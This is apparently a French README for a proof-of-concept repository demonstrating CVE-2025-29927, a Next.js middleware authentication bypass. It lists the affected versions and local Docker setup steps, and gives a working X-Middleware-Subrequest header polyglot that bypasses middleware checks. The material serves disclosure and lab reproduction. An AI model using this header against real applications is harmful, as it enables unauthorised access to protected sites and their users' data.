CVE-2025-29927 : PoC de la vulnérabilité de contournement du middleware Next.js

Ce dépôt démontre la vulnérabilité CVE-2025-29927 dans Next.js, où l'en-tête interne x-middleware-subrequest peut être utilisé pour contourner les contrôles du middleware comme l'authentification.

Versions concernées

• Next.js 15.x < 15.2.3
• Next.js 14.x < 14.2.25
• Next.js 13.x < 13.5.9

Étapes de reproduction

1. Cloner le dépôt :

git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. Accéder au dossier du projet :

cd CVE-2025-29927-PoC

3. Générer un secret :

openssl rand -base64 32

4. Mettre à jour le secret dans le fichier .env :

NEXTAUTH_SECRET=your_generated_secret

5. Construire et exécuter avec Docker :

docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

Preuve de concept

Nous pouvons grandement simplifier l'exploitation de ce problème en utilisant un polyglotte qui nous permet de couvrir efficacement les différents cas potentiels. Nous y sommes parvenus grâce à l'en-tête HTTP suivant, utilisé pour vérifier la présence d'un contournement de l'authentification :

X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

Crédits/Sources

• Blog de Next.js sur CVE-2025-29927
• Recherche de Zhero Web Security : Next.js et le middleware corrompu
• Recherche d'Assetnote Security : Analyse du contournement du middleware Next.js